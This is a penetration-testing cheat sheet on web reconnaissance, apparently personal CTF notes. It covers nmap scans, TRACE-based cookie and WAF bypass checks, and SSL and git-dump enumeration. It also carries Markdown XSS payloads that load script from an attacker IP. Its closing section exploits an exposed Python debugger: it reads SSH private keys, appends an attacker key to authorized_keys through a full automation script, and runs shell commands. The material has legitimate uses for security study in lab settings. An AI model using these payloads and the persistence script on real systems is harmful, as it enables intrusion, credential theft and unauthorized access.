Web Reconnaissance

Check-List
Nmap Scripts
Scan for config files
nmap -n -p<PORT> --script http-config-backup <IP>
Site map generator
nmap -Pn -script=http-sitemap-generator scanme.nmap.org
Stealthy Scan
nmap -n -Pn -vv -O -sV --script=http-enum,http-headers,http-methods,http-title,http-vuln* 192.168.1.1
fast scan
nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000
Markdown
  • Test for XSS , HTML injection and JavaScript execution:

Malicious Md file
### local XSS
<img src=x onerror=alert(1) />

### load image
<img src="http://10.10.14.162:8000/image.png" />

### load script
<script src="http://10.10.14.162:8000/script.js"></script>

### Md
<img src='http://10.10.14.162:8000/test.md' />
TRACE Method

Checking for Cross-Site Tracing (XST) โ€“ Bypassing HttpOnly Cookies

  • If TRACE is enabled and the response reflects cookies, an attacker can bypass the HttpOnly flag.

  • Normally, HttpOnly prevents JavaScript from accessing cookies, but TRACE can leak them if not properly restricted.

POC
curl -X TRACE https://target.com -H "Test: XST"
  • If the response includes the custom header, TRACE is enabled.

  • If it leaks Set-Cookie headers, itโ€™s a serious security issue.

  • Bug Bounty Impact: Session Hijacking


Finding Internal Headers & Debug Info

Some servers return sensitive internal headers when TRACE is enabled, such as:

  • X-Forwarded-For --> Real client IP leak.

  • X-Backend-Server --> Internal server exposure.

  • Via --> Reveals proxy setup.

POC
curl -X TRACE https://target.com
  • Look for unusual headers in the response.

  • Bug Bounty Impact: Information Disclosure


Finding WAF / Security Device Bypasses

  • Some WAFs donโ€™t inspect TRACE requests properly.

  • You can use TRACE to test whether WAF protections apply to certain endpoints.

POC
curl -X TRACE https://target.com/index.php --data "payload=<script>alert(1)</script>"

If TRACE reflects the payload, but normal requests are blocked, the WAF is bypassable.


Checking for Cross-Origin Attacks

  • If TRACE is enabled, it might allow same-origin policy (SOP) bypasses.

  • Some older browsers or misconfigured CORS setups can be exploited if TRACE echoes requests cross-origin.

Bypass User-Agent filtering
  • Use HTTPBin to check the User-Agent from any client.

  • Experiment with those User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.81
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Website Fingerprinting
  • Or in the command line:

whatweb -v 10.10.10.121
Website banners
curl -IL https://www.inlanefreight.com
SSL Certificates
  • Use openssl to get the certificate's info:

echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text
Grep for subdomains
echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep DNS | tr "," "\n" | cut -d: -f2
  • Create a custom wordlist with the subdomains to fuzz for response codes and gain a general idea of the content:

 ffuf -c -w domains -u https://FUZZ
  • When working with HTTPS is good practice to validate the SSL/TLS version and ciphers in use:

openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -showcerts
  • You can follow up with the -cipher flag to specify the cipher suites you're interested in:

openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -cipher ECDHE-RSA-AES256-GCM-SHA384
  • Check if the server implements HSTS by looking for it's header:

curl -I https://10.10.10.124
Custom Wordlists
Use crunch
crunch <min_length> <max_length> -t <pattern> -o <output_file>
CGI Scripts
Shellshock Vulnerability Check
sudo nmap --script http-shellshock --script-args uri=<URL_ARCHIVO_SH> -p80 <IP>
Dump .git directory

If Directory brute-forcing reveals .git dump the source code:

git-dumper http://cat.htb/.git ~/Documents/CTF/HTB/cat.htb/dump

Is a good practice to restore all files for further enumeration

git restore .
Restore the staged changes and see the differences
git restore --staged . && git diff

When error messages provide specific text, use them to locate validation code

grep "invalid characters" *
grep -r "forbidden" ./
find . -name "*.php" -exec grep -l "validation" {} \;

Check for common PHP sanitization functions

  • htmlspecialchars() - Converts special characters to HTML entities

  • filter_var() - Validates and sanitizes data

  • addslashes() - Escapes quotes

  • strip_tags() - Removes HTML/PHP tags

Check JavaScript Chunks
  • Client-side only You'll only see endpoints the frontend knows about

  • Not comprehensive Server-only routes won't appear

  • Dynamic imports: Some endpoints loaded conditionally

  • Minified code Often obfuscated, but patterns still visible

You can typically found then on the Sources tab from WebDev Browser

Next.js
_next/static/chunks/
React
static/js/
Vue.js
js/chunk-vendors
Angular
main.js, polyfills.js

Search for this terms:

Domain names - External APIs, microservices, staging environments, CDN endpoints

Direct API endpoint paths, REST routes, internal APIs
api
Configuration objects, endpoint mappings, API documentation strings
endpoint
GraphQL endpoints, query definitions, schema references
graphql
Native browser API calls, modern async requests
fetch(
Popular HTTP client library, often reveals base URLs and interceptors
axios
API keys, JWT tokens, authentication headers
token
Authorization headers, OAuth implementations
Bearer
Callback URLs, third-party integrations
webhook
WebSocket connections, real-time APIs
socket
Cross-origin settings, allowed domains
cors
Proxy configurations, internal routing
proxy
Default 404 Error Pages

Most of the time is possible to find out which technology the application is being run by looking at the 404 Error pages. 0xdf has a very good cheat sheet for this, check it out here

Ruby Configuration Files

Worth to read the documentation

Look for this files
config/application.rb
config/database.yml
Python Debugger Web Shell Enumeration
Check working directory
os.getcwd()
List content of the current directory
os.listdir()
List content of a particular directory
os.listdir('/home/user/.ssh')
Read a file
with open('/home/user/.ssh/id_rsa','r') as f: f.read()
Append keys to the authorized_keys file
with open('/home/user/.ssh/authorized_keys','a') as f: f.write('\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SwpwZ7rgMtCZYzkDtFJvQZO20N+8DmYxOix+PgL6VQW/9wZC3xnKK1zeAelMYtv/O38GXE2ghUH7z6ayVmTMkjGqt18mhsEpCt0BbonGRC0IHoBsV5QBVNin+x1soVdECT1Tr45bNnTnkZXIgSyDumc+2Ix6A1wiiC5RbI3SrxJ7nL0lRlhjdoAH6KCb4dwhX+Jos0VudHRreE01+0YE0Qb7Sd0eA5Cq7UtjgiW6VyXcmWH7aQdVZlUanrs5wdwWYeVCxY/XfFCCDmHZw+8W5INudM2t7on7bl/rYnhAExOr14/1s7LfYAfV8B6VNPPX+IOzOcT4aYQC3rRDiG5P root@kali')

Automation Script

#!/bin/bash

# === Configuration ===
# Path to your private SSH key (used for SSH connection)
KEY="/root/id_rsa_generated"
# Path to your public SSH key (will be appended to target's authorized_keys)
PUB_KEY=$(cat "${KEY}.pub")

# Target URL where the Python debugger shell is accessible
TARGET_URL="http://10.10.10.139/articles/4"

# Target user's authorized_keys file path on the remote system
TARGET_PATH="/home/hal/.ssh/authorized_keys"

# Target SSH username and host for final connection
TARGET_USER="hal"
TARGET_HOST="10.10.10.139"

# Optional: Proxy for curl commands (set to empty if not needed)
PROXY="127.0.0.1:8080"

# === End Configuration ===

# Extract SECRET token from the debug page
SECRET=$(curl -s "${TARGET_URL}" | grep SECRET | cut -d'"' -f2)

# Extract frame ID from the debug page
FRAME=$(curl -s "${TARGET_URL}" | grep 'id="frame' | head -1 | cut -d- -f2 | cut -d'"' -f1)

echo "[+] Retrieved frame ID and secret token from debug page"

# Function to run a command via the Python debugger shell
run_cmd() {
    local cmd="$1"
    curl -s -G -X GET "${TARGET_URL}?__debugger__=yes&frm=${FRAME}&s=${SECRET}" \
        --data-urlencode "cmd=${cmd}" \
        -x "${PROXY}" | grep -v ">>>"
}

echo "[*] Backing up target authorized_keys file"
run_cmd "import shutil"
run_cmd "shutil.copyfile('${TARGET_PATH}', '${TARGET_PATH}.bak')"

echo "[*] Appending public SSH key to target authorized_keys"
run_cmd "f = open('${TARGET_PATH}', 'a')"
run_cmd "f.write('\n${PUB_KEY}')"
run_cmd "f.close()"

echo "[*] Attempting SSH connection to ${TARGET_USER}@${TARGET_HOST}"
echo "[*] Remember to restore the original authorized_keys after session"

ssh -i "${KEY}" "${TARGET_USER}@${TARGET_HOST}" << EOF
mv ${TARGET_PATH}.bak ${TARGET_PATH}
bash
EOF
  • If you donโ€™t use a proxy for curl, set PROXY="" or remove the -x option in run_cmd.

Look for RCE

Use the subprocess.check_output() function instead to execute code and save it to a variable:
import subprocess
proc = subprocess.check_output('whoami', shell=True );
print(proc.decode('utf-8'))
Run commands
proc = subprocess.check_output('ls -la /home/hal', shell=True );
print(proc.decode('utf-8'))

Last updated